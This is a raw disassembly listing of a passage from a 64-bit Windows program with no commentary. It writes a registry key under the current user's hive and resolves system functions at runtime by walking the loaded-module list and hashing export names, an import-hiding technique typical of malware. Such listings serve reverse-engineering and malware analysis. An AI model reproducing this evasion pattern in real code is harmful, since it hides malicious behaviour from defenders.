lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x148]
call fcn.14005ee50
nop
lea rdx, [rbp + 0x148]
cmp qword [rbp + 0x160], 0x10
cmovae rdx, qword [rbp + 0x148]
mov qword [rsp + 0x40], rsi
lea rax, [rbp + 0xf8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x14007494d
mov r14, qword [0x1401b3b38]
inc r14
cmp qword [reloc.WS2_32.dll_ntohs], 0x10
jb 0x1400747c8
mov r15, qword [0x1401b3b28]
mov rsi, r15
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140074856
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140074856
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x2cf9967f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140074851
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140074830
cmp r8d, 0xb5181e9e
je 0x14007485b
test r9d, r9d
jne 0x140074810
mov rax, qword [rax]
jmp 0x1400747e0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0x20], r15
mov r9d, 1
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rbp + 0xf8]
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140074926
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140074926
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x14871499
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140074921
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140074900
cmp r8d, 0x665ae176
je 0x14007492b
test r9d, r9d
jne 0x1400748e0
mov rax, qword [rax]
jmp 0x1400748b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0xf8]
call rdx
xor esi, esi
cmp qword [r13 + 0x18], 0x10
jb 0x140074958
mov r13, qword [r13]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400749e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400749e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x8cb3f919
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400749e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400749c0
cmp r8d, 0xea60a24f
je 0x1400749eb
test r9d, r9d
jne 0x1400749a0
mov rax, qword [rax]
jmp 0x140074970
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rdx + rax*4]
add rdx, r10
mov rcx, r13
call rdx
nop
lea rcx, [rbp + 0x148]
call fcn.14000db10
nop
lea rcx, [rbp + 0x1f0]
call fcn.14000f780
nop
lea rcx, [rbp + 0x128]
call fcn.14000db10
jmp 0x140074b8b
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140074ab6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140074ab6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xfac0d2b8
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140074ab1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140074a90
cmp r8d, 0xcd66a108
je 0x140074abb
test r9d, r9d
jne 0x140074a70
mov rax, qword [rax]
jmp 0x140074a40
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, ntohs
call rdx
jmp 0x140074b8b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140074b66
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140074b66
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xb7248b6f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140074b61
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140074b40
cmp r8d, 0x2ef7d3ef
je 0x140074b6b
test r9d, r9d
jne 0x140074b20
mov rax, qword [rax]
jmp 0x140074af0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 9
call rdx
xor esi, esi
mov r8, qword [rbp + 0x1c0]
cmp r8, 0x10
jb 0x140074baf
inc r8
mov rdx, qword [rbp + 0x1a8]
lea rcx, [rbp + 0x1a8]
call fcn.140018170
nop
movzx edx, byte [rbp + 0x108]
lea rcx, [rbp + 0x110]
call fcn.14006ccd0
jmp 0x140074c7a
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140074c56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140074c56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rbx]
add rcx, r10
mov r8d, 0x53a75576
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140074c51
nop dword [rax]
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140074c30
cmp r8d, 0x41c534de
je 0x140074c5b
test r9d, r9d
jne 0x140074c10
mov rax, qword [rax]
jmp 0x140074be0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov ecx, 7
call rdx
nop
mov rdx, qword [rbp + 0x1a0]
cmp rdx, 0x10
jb 0x140074cbe
inc rdx
mov rcx, qword [rbp + 0x188]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140074cb9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140074cb9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102930
movdqa xmm0, xmmword [0x14010b890]
movdqu xmmword [rbp + 0x198], xmm0
mov byte [rbp + 0x188], 0
mov rdx, qword [rbp + 0x1e0]
cmp rdx, 0x10
jb 0x140074d1a
inc rdx
mov rcx, qword [rbp + 0x1c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140074d14
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140074d14
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102930
nop
mov rdx, qword [rbp + 0x180]
cmp rdx, 0x10
jb 0x140074d5e
inc rdx
mov rcx, qword [rbp + 0x168]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140074d59
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140074d59
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140102930
mov qword [rbp + 0x178], rsi
mov qword [rbp + 0x180], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x168], 0
mov rbx, qword [rbp + 0x30]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x140074db1
inc rdx
mov rcx, qword [rbx]
cmp rdx, 0x1000
jb 0x140074dac
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140074dea
mov rcx, r8
call fcn.140102930
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rcx, qword [rbp + 0x300]
xor rcx, rsp
call fcn.140102cf0
mov rbx, qword [rsp + 0x460]
add rsp, 0x410
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140016390
nop
int3